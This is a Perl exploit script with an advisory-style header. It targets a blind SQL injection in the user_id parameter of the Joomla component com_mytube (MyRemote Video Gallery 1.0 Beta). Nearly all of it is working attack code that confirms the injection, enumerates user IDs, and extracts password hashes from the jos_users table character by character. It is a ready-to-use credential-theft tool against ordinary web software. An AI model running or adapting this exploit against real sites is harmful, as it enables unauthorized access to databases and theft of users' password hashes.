#!/usr/bin/perl -w #--------------------------------------------------------------------------------- #joomla component com_mytube (user_id) Blind SQL Injection Vulnerability #--------------------------------------------------------------------------------- #Author : Chip D3 Bi0s #Group : LatiHackTeam #Email : chipdebios[alt+64]gmail.com #Date : 15 September 2009 #Critical Lvl : Moderate #Impact : Exposure of sensitive information #Where : From Remote #--------------------------------------------------------------------------- #Affected software description: #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ #Application : MyRemote Video Gallery #version : 1.0 Beta #Developer : Jomtube Team #License : GPL type : Non-Commercial #Date Added : Aug 24, 2009 #Download : http://joomlacode.org/gf/download/frsrelease/10834/42943/com_mytube_1.0.0_2009.08.02.zip #Description : #MyRemote Video Gallery is the most Powerful Video Extension made for Joomla 1.5x #which will allow you to transform your Website into a professional looking Video #Gallery with functionality that is similar to YouTube.com. MyRemote Video Gallery #is an open source (GNU GPL) video sharing Joomla extension has been created #specifically for the Joomla 1.5x (MVC) Framework and can not be used without Joomla. #MyRemote Video Gallery gives you the option to Embed Videos from Youtube and offers #the Framework so you can create your own Remote Plugins for other Remote Servers like #Dailymotion, Google Video, Vimeo, Blip.tv, Clipser, Revver, a which will allow you to #run your site for low cost since all the bandwidth usage and hard drive space is located #on the video server sites. So if you already have a large library of Videos on some #Remote Sites like Youtube.com you can build the Video Part of your Site Very Quickly. #--------------------------------------------------------------------------- #I.Blind SQL injection (user_id) #Poc/Exploit: #~~~~~~~~~~~ #http://127.0.0.1/[path]/index.php?view=videos&type=member&user_id=X[blind]&option=com_mytube&Itemid=null #X: Valid User_id #+++++++++++++++++++++++++++++++++++++++ #[!] Produced in South America #+++++++++++++++++++++++++++++++++++++++ use LWP::UserAgent; use Benchmark; my $t1 = new Benchmark; system ('cls'); print "\n\n"; print "\t\t[+] ---------------------------------[+]\n"; print "\t\t| | Chip d3 Bi0s | |\n"; print "\t\t| MyRemote Video Gallery Bsql | \n"; print "\t\t|joomla component com_mytube (user_id)| \n"; print "\t\t[+]----------------------------------[+]\n\n"; print "http://127.0.0.1/[path]/index.php?view=videos&type=member&user_id=62:\n";chomp(my $target=<STDIN>); $w="Total Videos In Category"; $column_name="concat(password)"; $table_name="jos_users"; $b = LWP::UserAgent->new() or die "Could not initialize browser\n"; $b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)'); print "----------------Inyectando----------------\n"; $host = $target . "+and+1=1&option=com_mytube&Itemid=null"; my $res = $b->request(HTTP::Request->new(GET=>$host)); my $content = $res->content; my $regexp = $w; if ($content =~ /$regexp/) { $host = $target . "+and+1=2&option=com_mytube&Itemid=null"; my $res = $b->request(HTTP::Request->new(GET=>$host)); my $content = $res->content; my $regexp = $w; if ($content =~ /$regexp/) {print " [-] Exploit Fallo :(\n";} else {print " [-] Vulnerable :)\n"; $d=0; for ($idusuario=62;$idusuario<=80;$idusuario++) { $host = $target . "+and+ascii(substring((SELECT+".$column_name."+from+".$table_name."+where+id=".$idusuario."+limit+0,1),1,1))>0&option=com_mytube&Itemid=null"; my $res = $b->request(HTTP::Request->new(GET=>$host)); my $content = $res->content; my $regexp = $w; if ($content =~ /$regexp/) {$idusu[$d]=$idusuario;$d=$d+1} } print " [+] Usuario existentes : "." ".join(',', @idusu) . "\n"; print " [-] # Usuario que desea extraer : ";chomp($iduss=<STDIN>); for ($x=1;$x<=32;$x++) { $host = $target . "+and+ascii(substring((SELECT+".$column_name."+from+".$table_name."+where+id=".$iduss."+limit+0,1),".$x.",1))>57&option=com_mytube&Itemid=null"; my $res = $b->request(HTTP::Request->new(GET=>$host)); my $content = $res->content; my $regexp = $w; print " [!] ";if($x <= 9 ) {print "0$x";}else{print $x;} if ($content =~ /$regexp/) { for ($c=97;$c<=102;$c++) { $host = $target . "+and+ascii(substring((SELECT+".$column_name."+from+".$table_name."+where+id=".$iduss."+limit+0,1),".$x.",1))=".$c."&option=com_mytube&Itemid=null"; my $res = $b->request(HTTP::Request->new(GET=>$host)); my $content = $res->content; my $regexp = $w; if ($content =~ /$regexp/) {$char=chr($c); $caracter[$x-1]=chr($c); print "-Caracter: $char\n"; $c=102;} } } else { for ($c=48;$c<=57;$c++) { $host = $target . "+and+ascii(substring((SELECT+".$column_name."+from+".$table_name."+where+id=".$iduss."+limit+0,1),".$x.",1))=".$c."&option=com_mytube&Itemid=null"; my $res = $b->request(HTTP::Request->new(GET=>$host)); my $content = $res->content; my $regexp = $w; if ($content =~ /$regexp/) {$char=chr($c); $caracter[$x-1]=chr($c); print "-Caracter: $char\n"; $c=57;} } } } print " [+] Password :"." ".join('', @caracter) . "\n"; my $t2 = new Benchmark; my $tt = timediff($t2, $t1); print "El script tomo:",timestr($tt),"\n"; } } else {print " [-] Exploit Fallo :(\n";}